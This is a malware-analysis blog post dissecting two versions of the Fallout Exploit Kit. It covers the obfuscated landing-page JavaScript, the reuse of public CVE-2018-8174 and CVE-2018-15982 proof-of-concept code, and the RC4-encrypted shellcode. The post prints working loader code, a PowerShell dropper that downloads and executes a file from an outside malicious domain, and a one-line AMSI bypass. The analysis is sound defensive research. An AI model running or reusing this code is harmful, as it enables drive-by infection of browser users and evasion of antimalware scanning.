Analysis of Fallout Exploit Kit v3

First

We already tweeted, but the Fallout Exploit Kit has been updated. In the new Fallout, the traffic chain, obfuscation method of landing page and shellcode are changing. We will introduce details on the changes using Malware-Traffic-Analysis.net’s saz file.

New #FalloutEK is using PoC on GitHub!
(CC: @kafeine, @jeromesegura, @malware_traffic)https://t.co/L1J5QOwJWnhttps://t.co/ehhwtQqC5jhttps://t.co/7opIhvSxg4 pic.twitter.com/sJ1ESYpxbv

— nao_sec (@nao_sec) 2019年2月28日

Traffic

As usual HookAds Campaign will reach the landing page of Fallout and the attack will start. The flow of traffic is like this.

Landing Page

Let’s read the JavaScript on the landing page. Firstly, the objects necessary for decoding are defined.

var OygitP9 = {
    fZ2S0q: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",
    cMa5g: function (MQVCd) {
        var b8j5WMF, negriNm4A3, ir4N7w, W3cN0hF2WFu, qT8fpZ1, m3Z1Kc, T82SkC, OcKyWsdOFyq = "",
            p2Z2Fkoy = 0;
        for (MQVCd = OygitP9.P1mnrrMi834(MQVCd); p2Z2Fkoy < MQVCd['length'];) W3cN0hF2WFu = (b8j5WMF = MQVCd['charCodeAt'](p2Z2Fkoy++)) >> 2, qT8fpZ1 = (3 & b8j5WMF) << 4 | (negriNm4A3 = MQVCd['charCodeAt'](p2Z2Fkoy++)) >> 4, m3Z1Kc = (15 & negriNm4A3) << 2 | (ir4N7w = MQVCd['charCodeAt'](p2Z2Fkoy++)) >> 6, T82SkC = 63 & ir4N7w, isNaN(negriNm4A3) ? m3Z1Kc = T82SkC = 64 : isNaN(ir4N7w) && (T82SkC = 64), OcKyWsdOFyq = OcKyWsdOFyq + this['fZ2S0q']['charAt'](W3cN0hF2WFu) + this['fZ2S0q']['charAt'](qT8fpZ1) + this['fZ2S0q']['charAt'](m3Z1Kc) + this['fZ2S0q']['charAt'](T82SkC);
        return OcKyWsdOFyq
    },
    jbRyz: function (MQVCd) {
        var b8j5WMF, negriNm4A3, ir4N7w, W3cN0hF2WFu, qT8fpZ1, m3Z1Kc, T82SkC = "",
            OcKyWsdOFyq = 0;
        for (MQVCd = MQVCd['replace'](/[^A-Za-z0-9\+\/\=]/g, ""); OcKyWsdOFyq < MQVCd['length'];) b8j5WMF = this['fZ2S0q']['indexOf'](MQVCd['charAt'](OcKyWsdOFyq++)) << 2 | (W3cN0hF2WFu = this['fZ2S0q']['indexOf'](MQVCd['charAt'](OcKyWsdOFyq++))) >> 4, negriNm4A3 = (15 & W3cN0hF2WFu) << 4 | (qT8fpZ1 = this['fZ2S0q']['indexOf'](MQVCd['charAt'](OcKyWsdOFyq++))) >> 2, ir4N7w = (3 & qT8fpZ1) << 6 | (m3Z1Kc = this['fZ2S0q']['indexOf'](MQVCd['charAt'](OcKyWsdOFyq++))), T82SkC += window['String']['fromCharCode'](b8j5WMF), 64 != qT8fpZ1 && (T82SkC += window['String']['fromCharCode'](negriNm4A3)), 64 != m3Z1Kc && (T82SkC += window['String']['fromCharCode'](ir4N7w));
        return T82SkC = OygitP9.quSjT4yyl(T82SkC)
    },
    P1mnrrMi834: function (MQVCd) {
        MQVCd = MQVCd['replace'](/\r\n/g, "\n");
        for (var b8j5WMF = "", negriNm4A3 = 0; negriNm4A3 < MQVCd['length']; negriNm4A3++) {
            var ir4N7w = MQVCd['charCodeAt'](negriNm4A3);
            ir4N7w < 128 ? b8j5WMF += window['String']['fromCharCode'](ir4N7w) : (127 < ir4N7w && ir4N7w < 2048 ? b8j5WMF += window['String']['fromCharCode'](ir4N7w >> 6 | 192) : (b8j5WMF += window['String']['fromCharCode'](ir4N7w >> 12 | 224), b8j5WMF += window['String']['fromCharCode'](ir4N7w >> 6 & 63 | 128)), b8j5WMF += window['String']['fromCharCode'](63 & ir4N7w | 128))
        }
        return b8j5WMF
    },
    quSjT4yyl: function (MQVCd) {
        for (var b8j5WMF = "", negriNm4A3 = 0, ir4N7w = UK1Az5 = zxh4w4 = 0; negriNm4A3 < MQVCd['length'];)(ir4N7w = MQVCd['charCodeAt'](negriNm4A3)) < 128 ? (b8j5WMF += window['String']['fromCharCode'](ir4N7w), negriNm4A3++) : 191 < ir4N7w && ir4N7w < 224 ? (zxh4w4 = MQVCd['charCodeAt'](negriNm4A3 + 1), b8j5WMF += window['String']['fromCharCode']((31 & ir4N7w) << 6 | 63 & zxh4w4), negriNm4A3 += 2) : (zxh4w4 = MQVCd['charCodeAt'](negriNm4A3 + 1), c3 = MQVCd['charCodeAt'](negriNm4A3 + 2), b8j5WMF += window['String']['fromCharCode']((15 & ir4N7w) << 12 | (63 & zxh4w4) << 6 | 63 & c3), negriNm4A3 += 3);
        return b8j5WMF
    }
};

The next defined object is also for decoding.

window['String']['prototype']['kWNcdNj7d6U'] = function (DwQ5oeN9ct) {
    var hxk4VZ3L8GC = window[DwQ5oeN9ct];
    var UsEJ64xf0P = '';
    for (var D8H6A7MGHf = 0, r5UpGh = 0; D8H6A7MGHf < this['length']; D8H6A7MGHf++, r5UpGh++) {
        if (r5UpGh === hxk4VZ3L8GC['length']) {
            r5UpGh = 0;
        }
        UsEJ64xf0P += window['String']['fromCharCode'](this['charCodeAt'](D8H6A7MGHf) ^ hxk4VZ3L8GC['charCodeAt'](r5UpGh));
    }
    return UsEJ64xf0P;
};

The next object, make sure that it is not in Chrome and Opera using, for example, User-Agent.

window['String']['prototype']['i2668FMs5B8'] = function () {
    var BITU978SF7 = ((!!window['opr'] && !!window['opr']['addons']) || !!window['opera'] || navigator['userAgent']['indexOf'](' OPR/') >= 0) + this + (typeof window['InstallTrigger'] !== 'undefined') + this + (false || !!window['document']['documentMode']) + this + (!!window['chrome'] && !!window['chrome']['runtime']);
    return window['OygitP9']['cMa5g'](BITU978SF7['kWNcdNj7d6U']('RLGuTgUF3d0'));
}

The next object is for executing code. This is the most important object.

window['String']['prototype']['eCWmvY'] = function () {
    window['eval'](this['toString']());
}

With these codes, the following code will be executed. This downloads the encoded data and executes it.

window['VS4H8Yo1']['onreadystatechange'] = function () {
    if (4 == this['readyState'] && 200 == this['status']) {
        var W7iaUaId = window['VS4H8Yo1']['responseText'];
        var riqAvm0Is = window['OygitP9']['jbRyz'](W7iaUaId)['kWNcdNj7d6U']('RLGuTgUF3d0');
        riqAvm0Is['eCWmvY']();
    }
};

window['VS4H8Yo1']['open']('post', window['OygitP9']['jbRyz'](mbwk99)['kWNcdNj7d6U']('RLGuTgUF3d0'), true);
window['VS4H8Yo1']['send']('@@' ['i2668FMs5B8']());

Encoded data

When decoding the code, it looks like the following.

var ZV7S8RUn = '-- Shellcode here --';
var dIl15w = new window['XDomainRequest']();
dIl15w['onload'] = function() {
    var H2Kqgnp = dIl15w['responseText'];
    var WW7QZmX = H2Kqgnp['substring'](H2Kqgnp['indexOf']('<script language="vbscript">'),H2Kqgnp['indexOf']('</body>'));
    var l1a2N5kr = WW7QZmX['split']('\n');
    for(var L8c4YdRG = 0; L8c4YdRG < l1a2N5kr['length']; L8c4YdRG++) {
        if(l1a2N5kr[L8c4YdRG]['indexOf']('%ue8fc%u008') != -1 || l1a2N5kr[L8c4YdRG]['indexOf']('#{encoded_payload}') != -1 || l1a2N5kr[L8c4YdRG]['indexOf']('%u8b55%u81ec') != -1 || l1a2N5kr[L8c4YdRG]['indexOf']('REPLACE_SHELLCODE_HERE') != -1) {
            var g68j2okJh5D = '';
            if(l1a2N5kr[L8c4YdRG]['indexOf']('%ue8fc%u008') != -1) {
                g68j2okJh5D = '%ue8fc%u008';
            }
            if(l1a2N5kr[L8c4YdRG]['indexOf']('#{encoded_payload}') != -1) {
                g68j2okJh5D = '#{encoded_payload}';
            }
            if(l1a2N5kr[L8c4YdRG]['indexOf']('%u8b55%u81ec') != -1) {
                g68j2okJh5D = '%u8b55%u81ec';
            }
            if(l1a2N5kr[L8c4YdRG]['indexOf']('REPLACE_SHELLCODE_HERE') != -1) {
                g68j2okJh5D = 'REPLACE_SHELLCODE_HERE';
            }
            var zEZGDPaGVEt = l1a2N5kr[L8c4YdRG]['substring'](l1a2N5kr[L8c4YdRG]['indexOf'](g68j2okJh5D),l1a2N5kr[L8c4YdRG]['indexOf']('"',l1a2N5kr[L8c4YdRG]['indexOf'](g68j2okJh5D)));
            l1a2N5kr[L8c4YdRG] = l1a2N5kr[L8c4YdRG]['replace'](zEZGDPaGVEt,ZV7S8RUn);
        }
        if(l1a2N5kr[L8c4YdRG]['indexOf']('\'') != -1) {
            var TJIp1rglYoq = l1a2N5kr[L8c4YdRG]['substring'](l1a2N5kr[L8c4YdRG]['indexOf']('\''));
            l1a2N5kr[L8c4YdRG] = l1a2N5kr[L8c4YdRG]['replace'](TJIp1rglYoq,'');
        }
        if(l1a2N5kr[L8c4YdRG]['indexOf']('MsgBox') != -1) {
            l1a2N5kr[L8c4YdRG] = '';
        }
        if(l1a2N5kr[L8c4YdRG]['indexOf']('Alert') != -1) {
            l1a2N5kr[L8c4YdRG] = '';
        }
    }
    WW7QZmX = l1a2N5kr['join']('\n');
    var nbvMHPdb = window['document']['createElement']("iframe");
    nbvMHPdb['setAttribute']("id", "AARa7");
    window['document']['getElementsByTagName']("BODY")[0].appendChild(nbvMHPdb);
    var ocH5HC2B = window['document']['getElementById']("AARa7")['contentWindow']['document'];
    ocH5HC2B['open']();
    ocH5HC2B['write'](WW7QZmX);
    ocH5HC2B['close']();
}
dIl15w['open']('get', 'https://raw.githubusercontent.com/w7374520/CVE-2018-8174_EXP/master/CVE-2018-8174.py');
dIl15w['send']();

This code is exploit by replacing the shellcode part of PoC of CVE-2018-8174 on GitHub. We are finding that four PoCs are being exploited. There may be other things.

Shellcode

In the previous blog We wrote that Fallout uses RC4 and powershell. Currently, It decrypts with RC4 using multiple keys.

Encrypted data

Encrypted data is near the end of the shell code.

The following strings are encrypted.

Execute

API hash

The API called by the shell code has been hashed by the dualaccModFFF1Hash algorithm.

ShellcodeHashSearcher: 0x00000686: dualaccModFFF1Hash:0x191c0443 kernel32.dll!CloseHandle
ShellcodeHashSearcher: 0x00000694: dualaccModFFF1Hash:0x28b90575 kernel32.dll!CreateProcessA
ShellcodeHashSearcher: 0x000006a6: dualaccModFFF1Hash:0x73320951 kernel32.dll!CreateToolhelp32Snapshot
ShellcodeHashSearcher: 0x000006b9: dualaccModFFF1Hash:0x33f50614 kernel32.dll!GetModuleHandleA
ShellcodeHashSearcher: 0x000006ca: dualaccModFFF1Hash:0x1d810497 kernel32.dll!LoadLibraryA
ShellcodeHashSearcher: 0x000006da: dualaccModFFF1Hash:0x2785054d kernel32.dll!Process32First
ShellcodeHashSearcher: 0x000006eb: dualaccModFFF1Hash:0x225904e4 kernel32.dll!Process32Next
ShellcodeHashSearcher: 0x000006fc: dualaccModFFF1Hash:0x1f7004d3 kernel32.dll!VirtualAlloc
ShellcodeHashSearcher: 0x0000070d: dualaccModFFF1Hash:0x1a1e047a kernel32.dll!ExitProcess
ShellcodeHashSearcher: 0x0000071e: dualaccModFFF1Hash:0x158503f3 kernel32.dll!ExitThread
ShellcodeHashSearcher: 0x00000737: dualaccModFFF1Hash:0x08d8028c msvcrt.dll!memset
ShellcodeHashSearcher: 0x00000737: dualaccModFFF1Hash:0x08d8028c ntoskrnl.exe!memset
ShellcodeHashSearcher: 0x00000737: dualaccModFFF1Hash:0x08d8028c ntdll.dll!memset
ShellcodeHashSearcher: 0x00000778: dualaccModFFF1Hash:0x3610065d wininet.dll!HttpOpenRequestA
ShellcodeHashSearcher: 0x00000787: dualaccModFFF1Hash:0x29fb0584 wininet.dll!HttpQueryInfoA
ShellcodeHashSearcher: 0x0000079a: dualaccModFFF1Hash:0x35c70655 wininet.dll!HttpSendRequestA
ShellcodeHashSearcher: 0x000007ab: dualaccModFFF1Hash:0x4b92078c wininet.dll!InternetCloseHandle
ShellcodeHashSearcher: 0x000007bc: dualaccModFFF1Hash:0x36640655 wininet.dll!InternetConnectA
ShellcodeHashSearcher: 0x000007cd: dualaccModFFF1Hash:0x245c051d wininet.dll!InternetOpenA
ShellcodeHashSearcher: 0x000007de: dualaccModFFF1Hash:0x35c00646 wininet.dll!InternetReadFile
ShellcodeHashSearcher: 0x00000685: dualaccModFFF1Hash:0x191c0443 kernel32.dll!CloseHandle
ShellcodeHashSearcher: 0x00000693: dualaccModFFF1Hash:0x28b90575 kernel32.dll!CreateProcessA
ShellcodeHashSearcher: 0x000006a5: dualaccModFFF1Hash:0x73320951 kernel32.dll!CreateToolhelp32Snapshot
ShellcodeHashSearcher: 0x000006b8: dualaccModFFF1Hash:0x33f50614 kernel32.dll!GetModuleHandleA
ShellcodeHashSearcher: 0x000006c9: dualaccModFFF1Hash:0x1d810497 kernel32.dll!LoadLibraryA
ShellcodeHashSearcher: 0x000006d9: dualaccModFFF1Hash:0x2785054d kernel32.dll!Process32First
ShellcodeHashSearcher: 0x000006ea: dualaccModFFF1Hash:0x225904e4 kernel32.dll!Process32Next
ShellcodeHashSearcher: 0x000006fb: dualaccModFFF1Hash:0x1f7004d3 kernel32.dll!VirtualAlloc
ShellcodeHashSearcher: 0x0000070c: dualaccModFFF1Hash:0x1a1e047a kernel32.dll!ExitProcess
ShellcodeHashSearcher: 0x0000071d: dualaccModFFF1Hash:0x158503f3 kernel32.dll!ExitThread
ShellcodeHashSearcher: 0x00000736: dualaccModFFF1Hash:0x08d8028c msvcrt.dll!memset
ShellcodeHashSearcher: 0x00000736: dualaccModFFF1Hash:0x08d8028c ntoskrnl.exe!memset
ShellcodeHashSearcher: 0x00000736: dualaccModFFF1Hash:0x08d8028c ntdll.dll!memset
ShellcodeHashSearcher: 0x00000777: dualaccModFFF1Hash:0x3610065d wininet.dll!HttpOpenRequestA
ShellcodeHashSearcher: 0x00000786: dualaccModFFF1Hash:0x29fb0584 wininet.dll!HttpQueryInfoA
ShellcodeHashSearcher: 0x00000799: dualaccModFFF1Hash:0x35c70655 wininet.dll!HttpSendRequestA
ShellcodeHashSearcher: 0x000007aa: dualaccModFFF1Hash:0x4b92078c wininet.dll!InternetCloseHandle
ShellcodeHashSearcher: 0x000007bb: dualaccModFFF1Hash:0x36640655 wininet.dll!InternetConnectA
ShellcodeHashSearcher: 0x000007cc: dualaccModFFF1Hash:0x245c051d wininet.dll!InternetOpenA
ShellcodeHashSearcher: 0x000007dd: dualaccModFFF1Hash:0x35c00646 wininet.dll!InternetReadFile

The final encoded PowerShell script is downloaded, decoded and executed.

PowerShell

Add-Type -TypeDefinition @"
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

[StructLayout(LayoutKind.Sequential)]
public struct lI111
{
    public IntPtr llIll;
    public IntPtr II1ll1I1;
    public uint llllIlI;
    public uint l1l1l;
}

[StructLayout(LayoutKind.Sequential,CharSet=CharSet.Unicode)]
public struct lI1I1l1l
{
    public uint lI1lI1I;
    public string l1l1II1;
    public string llIlI1;
    public string IlIl1l;
    public uint ll1llI11;
    public uint ll1l11I1;
    public uint IlI11lI;
    public uint IIlIll1I;
    public uint IIl1II;
    public uint I11Il;
    public uint IIIIII;
    public uint l1IlIll;
    public short llI11l1;
    public short llll1I11;
    public IntPtr I1llIIlI;
    public IntPtr Il1I11lI;
    public IntPtr llllll;
    public IntPtr lI1l1I1I;
};

public static class I1l11lIl
{
    [DllImport(""kernel32.dll"",SetLastError=true)]
    public static extern bool CreateProcess(string I1l1Il1I,string l1111,IntPtr lllI111,IntPtr I111IIlI,bool lllll,uint III1l1l1,IntPtr l1l1l11l,string lIll1111,ref lI1I1l1l l111l,out lI111 I1111l1);
}
"@;

$lIlI1 = "$env:userprofile\AppData\LocalLow\$(-join((48..57)+(65..90)+(97..122)|Get-Random -Count 8|%{[char]$_})).tmp";
$Il11l = 'https://not-my-guilty.com/04_10_1971/beaveries/aoer.phtml';

$cli = (New-Object Net.WebClient);
$cli.Headers['User-Agent'] = 'pqqyW56Fe8W2G7m3';
$cli.DownloadFile($Il11l, $lIlI1);

$llII11l = New-Object lI1I1l1l;
$llII11l.llI11l1 = 0x0;
$llII11l.lI1lI1I = [System.Runtime.InteropServices.Marshal]::SizeOf($llII11l);
$I1111111 = New-Object lI111;
[I1l11lIl]::CreateProcess($lIlI1, $lIlI1, [IntPtr]::Zero, [IntPtr]::Zero, $false, 0x00000008, [IntPtr]::Zero, "c:", [ref]$llII11l, [ref]$I1111111)|out-null;

This PowerShell code downloads the malware and calls CreateProcess. At this time, User-Agent is not common.

Finally

Fallout has also evolved. Analysis has become more difficult than before. You should keep an eye on Fallout in the future.

In-Depth analysis of new Fallout Exploit Kit

First

Fallout Exploit Kit has been observed since August 2018. It is very popular and used in many attack campaigns. However, around the end of 2018 Fallout was no longer observed. It was a short break, he came back soon.

He came back and contained several changes.

1. HTTPS
  - Using Let's Encrypt
2. Landing Page
  - Changed code to generate code for exploitation
3. CVE-2018-8174
  - Changed shellcode
    - Using PowerShell
    - Bypass AMSI
4. CVE-2018-15982

In this article, I will look into these changes in detail.

HTTPS

Fallout began using HTTPS. This may make analysis and detection a bit more difficult. He uses Let's Encrypt.



Landing Page

JavaScript was not obfuscated in the previous landing page. Custom Base64 for generating exploitation code was easy to read and the table was written as it was.

All such processing is obfuscated in the new landing page. But you don't have to be afraid of it. Its obfuscation is very simple.

If you take out the last JavaScript and decode it, it looks something like this.

It will look like this if you clean it up.

Let's read in turn. The first line extracts necessary data from HTML. Decode this string to generate exploitation code. The second line defines the table of Custom Base64.


The next two functions are Custom Base64. This has not changed since the past.



Next Fallout is creating an embed element. Although src is encoded, it becomes a URL by decoding it. This reads the exploitation SWF of CVE-2018-15982.


Finally Fallout is creating a script element. VBScript text is the decoded version of HTML data read in line 1. This reads the exploitation code of CVE-2018-8174.


CVE-2018-8174

The code is exactly the same as PoC. shellcode has been updated.


Looking at shellcode, it contains encrypted data at the end. Run it on CreateProcessA.


Data is encrypted by RC4.


The key is hard-coded, and when you decode it using it, you get such PowerShell code.


Decoding Base64 and formatting it look like this:

The first line is a technique to Bypass Anti Malware Scan Interface. Matt Graeber tweeted in 2016.

[Ref].Assembly.GetType('https://t.co/Kwfd9odrBv.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
— Matt Graeber (@mattifestation) 2016年5月25日
Next, the C # code is defined. When it shapes it, it looks like this. This will define CreateProcess.


Next is the process of downloading and saving malware. Previously it was encrypted with RC4, but now it is an exe file.


Finally, run the malware by CreateProcess.


CVE-2018-15982

In this update CVE-2018-15982 has been added to Fallout.


However, this is the same as PoC. Shellcode is the original but it is the same algorithm as the one already explained in 8174.



It is slightly different only in the final PowerShell code. Instead of executing malware with CreateProcess like 8174, it is running with Invoke-Expression.


Conclusion

Fallout made an interesting update such as exploiting CVE-2018-15982, downloading and executing malware with PowerShell by bypassing Anti Malware Scan Interface. 15982 has also been exploited in other exploit kits such as Underminer. Please pay attention to them.

Sample Data
- saz
  - 8174
    - a821dda3cba7851bf0baf4bce8da04d78107be846b18bcb6d29dc92d49973ca8
  - 15982
    - 71fcea2737551627e5bd9968903f68b7cb81a75b92fa9d10c767c1b23e6084ac
- swf
  - 15982
    - e82b042f438c173ae90d056a6c52c0a822d0f263bf8abab60503b9c5c6d68a9c